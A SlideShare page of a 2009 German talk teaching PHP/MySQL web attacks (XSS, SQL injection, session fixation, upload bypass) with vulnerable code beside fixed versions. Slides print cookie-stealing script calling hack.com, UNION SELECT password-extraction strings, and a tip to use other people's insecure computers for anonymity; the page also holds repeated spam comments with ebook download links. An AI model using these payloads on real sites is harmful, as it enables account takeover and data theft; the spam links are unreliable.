Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.
> >  webHacks am Beispiel PHP & MySQL   Referent:  Torben Brodt   Datum: 26.03.2009   Veranstalter: plista.com GmbH
webHacks  >  Inhalt <ul><li>Übersicht
Paris Hilton Bug
XSS
SQL Injections </li></ul>5.  Session Stealing 6.   File Inclusion 7.   Technikausblick 8.   Literatur <ul><li>Übersicht
Paris Hilton Bug
XSS
SQL Injections </li></ul>  Referent:  Torben Brodt   Datum: 26.03.2009   Veranstalter: plista.com GmbH
webHacks  >  Übersicht <ul><li>BufferOverflows und andere Schwachstellen, wie man sie von Desktopapplikationen kennt sind ...
Aktuelle Lücken in Websoftware, siehe Graph [1]
Oft in Kombination genutzt </li></ul>1 /8
webHacks  >  Paris Hilton Bug <ul><li>Paris' Account wurde gehackt, weil sie bei der &quot;Passwort-vergessen-Frage&quot; ...
Dieser lässt sich mit einfacher
Upcoming SlideShare
Loading in …5
×

Webhacks am Beispiel PHP + MySQL

81,276 views

Published on

Paris Hilton Bug
XSS
SQL Injections
Session Stealing
File Inclusion
Technikausblick
Literatur

Published in: Education
  • DOWNLOAD THIS BOOKS INTO AVAILABLE FORMAT (Unlimited) ......................................................................................................................... ......................................................................................................................... Download Full PDF EBOOK here { https://soo.gd/qURD } ......................................................................................................................... Download Full EPUB Ebook here { https://soo.gd/qURD } ......................................................................................................................... Download Full doc Ebook here { https://soo.gd/qURD } ......................................................................................................................... Download PDF EBOOK here { https://soo.gd/qURD } ......................................................................................................................... Download EPUB Ebook here { https://soo.gd/qURD } ......................................................................................................................... Download doc Ebook here { https://soo.gd/qURD } ......................................................................................................................... ......................................................................................................................... ................................................................................................................................... eBook is an electronic version of a traditional print book THIS can be read by using a personal computer or by using an eBook reader. (An eBook reader can be a software application for use on a computer such as Microsoft's free Reader application, or a book-sized computer THIS is used solely as a reading device such as Nuvomedia's Rocket eBook.) Users can purchase an eBook on diskette or CD, but the most popular method of getting an eBook is to purchase a downloadable file of the eBook (or other reading material) from a Web site (such as Barnes and Noble) to be read from the user's computer or reading device. Generally, an eBook can be downloaded in five minutes or less ......................................................................................................................... .............. Browse by Genre Available eBooks .............................................................................................................................. Art, Biography, Business, Chick Lit, Children's, Christian, Classics, Comics, Contemporary, Cookbooks, Manga, Memoir, Music, Mystery, Non Fiction, Paranormal, Philosophy, Poetry, Psychology, Religion, Romance, Science, Science Fiction, Self Help, Suspense, Spirituality, Sports, Thriller, Travel, Young Adult, Crime, Ebooks, Fantasy, Fiction, Graphic Novels, Historical Fiction, History, Horror, Humor And Comedy, ......................................................................................................................... ......................................................................................................................... .....BEST SELLER FOR EBOOK RECOMMEND............................................................. ......................................................................................................................... Blowout: Corrupted Democracy, Rogue State Russia, and the Richest, Most Destructive Industry on Earth,-- The Ride of a Lifetime: Lessons Learned from 15 Years as CEO of the Walt Disney Company,-- Call Sign Chaos: Learning to Lead,-- StrengthsFinder 2.0,-- Stillness Is the Key,-- She Said: Breaking the Sexual Harassment Story THIS Helped Ignite a Movement,-- Atomic Habits: An Easy &amp; Proven Way to Build Good Habits &amp; Break Bad Ones,-- Everything Is Figureoutable,-- What It Takes: Lessons in the Pursuit of Excellence,-- Rich Dad Poor Dad: What the Rich Teach Their Kids About Money THIS the Poor and Middle Class Do Not!,-- The Total Money Makeover: Classic Edition: A Proven Plan for Financial Fitness,-- Shut Up and Listen!: Hard Business Truths THIS Will Help You Succeed, ......................................................................................................................... .........................................................................................................................
       Reply 
    Are you sure you want to  Yes  No
    Your message goes here
  • DOWNLOAD THIS BOOKS INTO AVAILABLE FORMAT (Unlimited) ......................................................................................................................... ......................................................................................................................... Download Full PDF EBOOK here { https://soo.gd/qURD } ......................................................................................................................... Download Full EPUB Ebook here { https://soo.gd/qURD } ......................................................................................................................... Download Full doc Ebook here { https://soo.gd/qURD } ......................................................................................................................... Download PDF EBOOK here { https://soo.gd/qURD } ......................................................................................................................... Download EPUB Ebook here { https://soo.gd/qURD } ......................................................................................................................... Download doc Ebook here { https://soo.gd/qURD } ......................................................................................................................... ......................................................................................................................... ................................................................................................................................... eBook is an electronic version of a traditional print book THIS can be read by using a personal computer or by using an eBook reader. (An eBook reader can be a software application for use on a computer such as Microsoft's free Reader application, or a book-sized computer THIS is used solely as a reading device such as Nuvomedia's Rocket eBook.) Users can purchase an eBook on diskette or CD, but the most popular method of getting an eBook is to purchase a downloadable file of the eBook (or other reading material) from a Web site (such as Barnes and Noble) to be read from the user's computer or reading device. Generally, an eBook can be downloaded in five minutes or less ......................................................................................................................... .............. Browse by Genre Available eBooks .............................................................................................................................. Art, Biography, Business, Chick Lit, Children's, Christian, Classics, Comics, Contemporary, Cookbooks, Manga, Memoir, Music, Mystery, Non Fiction, Paranormal, Philosophy, Poetry, Psychology, Religion, Romance, Science, Science Fiction, Self Help, Suspense, Spirituality, Sports, Thriller, Travel, Young Adult, Crime, Ebooks, Fantasy, Fiction, Graphic Novels, Historical Fiction, History, Horror, Humor And Comedy, ......................................................................................................................... ......................................................................................................................... .....BEST SELLER FOR EBOOK RECOMMEND............................................................. ......................................................................................................................... Blowout: Corrupted Democracy, Rogue State Russia, and the Richest, Most Destructive Industry on Earth,-- The Ride of a Lifetime: Lessons Learned from 15 Years as CEO of the Walt Disney Company,-- Call Sign Chaos: Learning to Lead,-- StrengthsFinder 2.0,-- Stillness Is the Key,-- She Said: Breaking the Sexual Harassment Story THIS Helped Ignite a Movement,-- Atomic Habits: An Easy &amp; Proven Way to Build Good Habits &amp; Break Bad Ones,-- Everything Is Figureoutable,-- What It Takes: Lessons in the Pursuit of Excellence,-- Rich Dad Poor Dad: What the Rich Teach Their Kids About Money THIS the Poor and Middle Class Do Not!,-- The Total Money Makeover: Classic Edition: A Proven Plan for Financial Fitness,-- Shut Up and Listen!: Hard Business Truths THIS Will Help You Succeed, ......................................................................................................................... .........................................................................................................................
       Reply 
    Are you sure you want to  Yes  No
    Your message goes here
  • DOWNLOAD THIS BOOKS INTO AVAILABLE FORMAT (2019 Update) ......................................................................................................................... ......................................................................................................................... Download Full PDF EBOOK here { https://soo.gd/irt2 } ......................................................................................................................... Download Full EPUB Ebook here { https://soo.gd/irt2 } ......................................................................................................................... Download Full doc Ebook here { https://soo.gd/irt2 } ......................................................................................................................... Download PDF EBOOK here { https://soo.gd/irt2 } ......................................................................................................................... Download EPUB Ebook here { https://soo.gd/irt2 } ......................................................................................................................... Download doc Ebook here { https://soo.gd/irt2 } ......................................................................................................................... ......................................................................................................................... ................................................................................................................................... eBook is an electronic version of a traditional print book THIS can be read by using a personal computer or by using an eBook reader. (An eBook reader can be a software application for use on a computer such as Microsoft's free Reader application, or a book-sized computer THIS is used solely as a reading device such as Nuvomedia's Rocket eBook.) Users can purchase an eBook on diskette or CD, but the most popular method of getting an eBook is to purchase a downloadable file of the eBook (or other reading material) from a Web site (such as Barnes and Noble) to be read from the user's computer or reading device. Generally, an eBook can be downloaded in five minutes or less ......................................................................................................................... .............. Browse by Genre Available eBooks .............................................................................................................................. Art, Biography, Business, Chick Lit, Children's, Christian, Classics, Comics, Contemporary, Cookbooks, Manga, Memoir, Music, Mystery, Non Fiction, Paranormal, Philosophy, Poetry, Psychology, Religion, Romance, Science, Science Fiction, Self Help, Suspense, Spirituality, Sports, Thriller, Travel, Young Adult, Crime, Ebooks, Fantasy, Fiction, Graphic Novels, Historical Fiction, History, Horror, Humor And Comedy, ......................................................................................................................... ......................................................................................................................... .....BEST SELLER FOR EBOOK RECOMMEND............................................................. ......................................................................................................................... Blowout: Corrupted Democracy, Rogue State Russia, and the Richest, Most Destructive Industry on Earth,-- The Ride of a Lifetime: Lessons Learned from 15 Years as CEO of the Walt Disney Company,-- Call Sign Chaos: Learning to Lead,-- StrengthsFinder 2.0,-- Stillness Is the Key,-- She Said: Breaking the Sexual Harassment Story THIS Helped Ignite a Movement,-- Atomic Habits: An Easy &amp; Proven Way to Build Good Habits &amp; Break Bad Ones,-- Everything Is Figureoutable,-- What It Takes: Lessons in the Pursuit of Excellence,-- Rich Dad Poor Dad: What the Rich Teach Their Kids About Money THIS the Poor and Middle Class Do Not!,-- The Total Money Makeover: Classic Edition: A Proven Plan for Financial Fitness,-- Shut Up and Listen!: Hard Business Truths THIS Will Help You Succeed, ......................................................................................................................... .........................................................................................................................
       Reply 
    Are you sure you want to  Yes  No
    Your message goes here
  • DOWNLOAD THIS BOOKS INTO AVAILABLE FORMAT (Unlimited) ......................................................................................................................... ......................................................................................................................... Download Full PDF EBOOK here { https://soo.gd/qURD } ......................................................................................................................... Download Full EPUB Ebook here { https://soo.gd/qURD } ......................................................................................................................... Download Full doc Ebook here { https://soo.gd/qURD } ......................................................................................................................... Download PDF EBOOK here { https://soo.gd/qURD } ......................................................................................................................... Download EPUB Ebook here { https://soo.gd/qURD } ......................................................................................................................... Download doc Ebook here { https://soo.gd/qURD } ......................................................................................................................... ......................................................................................................................... ................................................................................................................................... eBook is an electronic version of a traditional print book THIS can be read by using a personal computer or by using an eBook reader. (An eBook reader can be a software application for use on a computer such as Microsoft's free Reader application, or a book-sized computer THIS is used solely as a reading device such as Nuvomedia's Rocket eBook.) Users can purchase an eBook on diskette or CD, but the most popular method of getting an eBook is to purchase a downloadable file of the eBook (or other reading material) from a Web site (such as Barnes and Noble) to be read from the user's computer or reading device. Generally, an eBook can be downloaded in five minutes or less ......................................................................................................................... .............. Browse by Genre Available eBooks .............................................................................................................................. Art, Biography, Business, Chick Lit, Children's, Christian, Classics, Comics, Contemporary, Cookbooks, Manga, Memoir, Music, Mystery, Non Fiction, Paranormal, Philosophy, Poetry, Psychology, Religion, Romance, Science, Science Fiction, Self Help, Suspense, Spirituality, Sports, Thriller, Travel, Young Adult, Crime, Ebooks, Fantasy, Fiction, Graphic Novels, Historical Fiction, History, Horror, Humor And Comedy, ......................................................................................................................... ......................................................................................................................... .....BEST SELLER FOR EBOOK RECOMMEND............................................................. ......................................................................................................................... Blowout: Corrupted Democracy, Rogue State Russia, and the Richest, Most Destructive Industry on Earth,-- The Ride of a Lifetime: Lessons Learned from 15 Years as CEO of the Walt Disney Company,-- Call Sign Chaos: Learning to Lead,-- StrengthsFinder 2.0,-- Stillness Is the Key,-- She Said: Breaking the Sexual Harassment Story THIS Helped Ignite a Movement,-- Atomic Habits: An Easy &amp; Proven Way to Build Good Habits &amp; Break Bad Ones,-- Everything Is Figureoutable,-- What It Takes: Lessons in the Pursuit of Excellence,-- Rich Dad Poor Dad: What the Rich Teach Their Kids About Money THIS the Poor and Middle Class Do Not!,-- The Total Money Makeover: Classic Edition: A Proven Plan for Financial Fitness,-- Shut Up and Listen!: Hard Business Truths THIS Will Help You Succeed, ......................................................................................................................... .........................................................................................................................
       Reply 
    Are you sure you want to  Yes  No
    Your message goes here
  • DOWNLOAD THIS BOOKS INTO AVAILABLE FORMAT (2019 Update) ......................................................................................................................... ......................................................................................................................... Download Full PDF EBOOK here { https://soo.gd/irt2 } ......................................................................................................................... Download Full EPUB Ebook here { https://soo.gd/irt2 } ......................................................................................................................... Download Full doc Ebook here { https://soo.gd/irt2 } ......................................................................................................................... Download PDF EBOOK here { https://soo.gd/irt2 } ......................................................................................................................... Download EPUB Ebook here { https://soo.gd/irt2 } ......................................................................................................................... Download doc Ebook here { https://soo.gd/irt2 } ......................................................................................................................... ......................................................................................................................... ................................................................................................................................... eBook is an electronic version of a traditional print book THIS can be read by using a personal computer or by using an eBook reader. (An eBook reader can be a software application for use on a computer such as Microsoft's free Reader application, or a book-sized computer THIS is used solely as a reading device such as Nuvomedia's Rocket eBook.) Users can purchase an eBook on diskette or CD, but the most popular method of getting an eBook is to purchase a downloadable file of the eBook (or other reading material) from a Web site (such as Barnes and Noble) to be read from the user's computer or reading device. Generally, an eBook can be downloaded in five minutes or less ......................................................................................................................... .............. Browse by Genre Available eBooks .............................................................................................................................. Art, Biography, Business, Chick Lit, Children's, Christian, Classics, Comics, Contemporary, Cookbooks, Manga, Memoir, Music, Mystery, Non Fiction, Paranormal, Philosophy, Poetry, Psychology, Religion, Romance, Science, Science Fiction, Self Help, Suspense, Spirituality, Sports, Thriller, Travel, Young Adult, Crime, Ebooks, Fantasy, Fiction, Graphic Novels, Historical Fiction, History, Horror, Humor And Comedy, ......................................................................................................................... ......................................................................................................................... .....BEST SELLER FOR EBOOK RECOMMEND............................................................. ......................................................................................................................... Blowout: Corrupted Democracy, Rogue State Russia, and the Richest, Most Destructive Industry on Earth,-- The Ride of a Lifetime: Lessons Learned from 15 Years as CEO of the Walt Disney Company,-- Call Sign Chaos: Learning to Lead,-- StrengthsFinder 2.0,-- Stillness Is the Key,-- She Said: Breaking the Sexual Harassment Story THIS Helped Ignite a Movement,-- Atomic Habits: An Easy &amp; Proven Way to Build Good Habits &amp; Break Bad Ones,-- Everything Is Figureoutable,-- What It Takes: Lessons in the Pursuit of Excellence,-- Rich Dad Poor Dad: What the Rich Teach Their Kids About Money THIS the Poor and Middle Class Do Not!,-- The Total Money Makeover: Classic Edition: A Proven Plan for Financial Fitness,-- Shut Up and Listen!: Hard Business Truths THIS Will Help You Succeed, ......................................................................................................................... .........................................................................................................................
       Reply 
    Are you sure you want to  Yes  No
    Your message goes here

Webhacks am Beispiel PHP + MySQL

  1. 1. > > webHacks am Beispiel PHP & MySQL Referent: Torben Brodt Datum: 26.03.2009 Veranstalter: plista.com GmbH
  2. 2. webHacks > Inhalt <ul><li>Übersicht
  3. 3. Paris Hilton Bug
  4. 4. XSS
  5. 5. SQL Injections </li></ul>5. Session Stealing 6. File Inclusion 7. Technikausblick 8. Literatur <ul><li>Übersicht
  6. 6. Paris Hilton Bug
  7. 7. XSS
  8. 8. SQL Injections </li></ul> Referent: Torben Brodt Datum: 26.03.2009 Veranstalter: plista.com GmbH
  9. 9. webHacks > Übersicht <ul><li>BufferOverflows und andere Schwachstellen, wie man sie von Desktopapplikationen kennt sind im Web kaum kritisch.
  10. 10. Aktuelle Lücken in Websoftware, siehe Graph [1]
  11. 11. Oft in Kombination genutzt </li></ul>1 /8
  12. 12. webHacks > Paris Hilton Bug <ul><li>Paris' Account wurde gehackt, weil sie bei der &quot;Passwort-vergessen-Frage&quot; die Frage nach dem Namen ihres Hundes wählte.
  13. 13. Dieser lässt sich mit einfacher
  14. 14. Google Recherche herausfinden
  15. 15. Mangelndes Sicherheitsbewusstsein
  16. 16. gibt es sowohl auf Konsumenten
  17. 17. als auch auf Endkunden-Seite
  18. 18. Beispiele u.a. Paymentanbieter </li></ul>2 /8
  19. 19. webHacks > XSS (1) <ul><li>XSS = ”Cross Site Scripting”
  20. 20. Angreifer manipuliert Webseite mit Client-Script (JS,...)
  21. 21. z.B. durch search.php?q=<img src=”paris...” />
  22. 22. Nutzen? Session ID kann ausgelesen werden – dadurch kann Person2 die Identität annehmen
  23. 23. Beispiel </li></ul>3 /8 <ul><script>document.write(&quot;<img src=http://hack.com/” + document.cookie + “>”)</script> </ul>
  24. 24. webHacks > XSS (2) <ul><li>Den Login einer anderen Seite erfahren
  25. 25. Dort kann davon ausgegangen werden dass der benutzer noch angemeldet ist
  26. 26. Beispiel: studivz gruppenseite verlinkt auf eigene Seite – und wird von dort zurück geleitet
  27. 27. Beispiel </li></ul>3 /8 <ul><script>document.location='http://studivz.net/?supersearch=<script>document. write(&quot;<img src=http://hacker.com/&quot; + document.cookie + &quot;>&quot;)</script>'</script> </ul>
  28. 28. webHacks > SQL Injections (1) <ul><li>Geschützte Informationen auslesen
  29. 29. Beispiel: Produktkatalog </li></ul>4 /8 $res = mysql_query('SELECT titel FROM category WHERE name = ”'.$_GET['q'].'”'); while($row = mysql_fetch_array($res)) { printf(&quot;<li>%s</li>&quot;, $row['titel']); } katalog.php?q=” UNION SELECT password AS titel FROM users WHERE ”a” = ”a $res = mysql_query(...WHERE name = ”'.mysql_real_escape_string($_GET['q']).'”'); while($row = mysql_fetch_array($res)) { printf(&quot;<li>%s</li>&quot;, $row['titel']); } SAFE
  30. 30. webHacks > SQL Injections (2) <ul><li>Geschützte Informationen auslesen
  31. 31. Beispiel: Produktkatalog (mit Integer) </li></ul>4 /8 $res = mysql_query('SELECT titel FROM category WHERE id = '.mysql_real_escape_string($_GET['q'])); while($row = mysql_fetch_array($res)) { printf(&quot;<li>%s</li>&quot;, $row['titel']); } katalog.php?q=0 UNION SELECT password AS titel FROM users $res = mysql_query('SELECT titel FROM category WHERE id = '.intval($_GET['q'])); SAFE
  32. 32. webHacks > SQL Injections (3) <ul><li>Beispiel: Newsletter abbestellen
  33. 33. Wäre die 10 eine austauschbare Variable könnte man die Aktion durch ” 1 OR 1 ” für alle übernehmen </li></ul>4 /8 mysql_query('UPDATE user SET newsletter = '.$_REQUEST['news'].' WHERE userid = 10'); newsletter.php?news=0,pwd=(SELECT pwd FROM user WHERE userid=1)
  34. 34. webHacks > Session Stealing <ul><li>Szenario: </li><ul><li>Angreifer ruft Anwendung als anonymer Nutzer und erhält Session 123.
  35. 35. Angreifer gestaltet damit speziellen Link. Diesen lässt er dem Opfer zukommen.
  36. 36. Opfer verwendet Link, um zur Anwendung zu gelangen. Meldet sich an.
  37. 37. Anwendung übernimmt Sessionkennung und ordnet dieser den korrekt Login zu
  38. 38. Auch der Angreifer kann diese Session nutzen, da HTTP zustandslos </li></ul><li>Demo: Session VS Referer </li></ul>5 /8
  39. 39. webHacks > File Inclusion <ul><li>Dateiname kann nullterminiert werden
  40. 40. Dadurch wird der Regex passiert, aber der Dateiname im Filesystem wird abgeschnitten </li></ul>6 /8 if(preg_match('/.(png|gif|jpg)$/', $_FILES['img']['name'])) { move_uploaded_file($_FILES['img']['tmp_name'], 'upload/'.$_FILES['img']['name']); echo &quot;upload success&quot;; } … POST Request Manipulation Content-Disposition: form-data; name=&quot;img&quot;; filename=&quot;hack.php.png&quot; Content-Type: image/jpeg Content-Transfer-Encoding: binary
  41. 41. webHacks > Technikausblick <ul><li>Phishing? E-Mail Header Manipulation?
  42. 42. Vorsicht durch Versionsunterdrückung.
  43. 43. Wie Anonym bleiben? </li><ul><li>google link einbauen
  44. 44. onion ring network (tor)
  45. 45. remote login (vpn)
  46. 46. Andere unsichere Rechner benutzen </li></ul><ul><li>--- THE END ---
  47. 47. Diskussion + Fragen + Erfahrungen </li></ul></ul>7 /8
  48. 48. webHacks > Literatur 8 /8 <ul><li>[1] http://www.easy-coding.de/vortrag-sicherheitsluecken-in-websoftware-t4236.html
  49. 49. [2] http://www.easy-coding.de/php-und-sicherheit-teil-1-sessions-t6000.html
  50. 50. [3] http://www.erich-kachel.de/ </li></ul>

×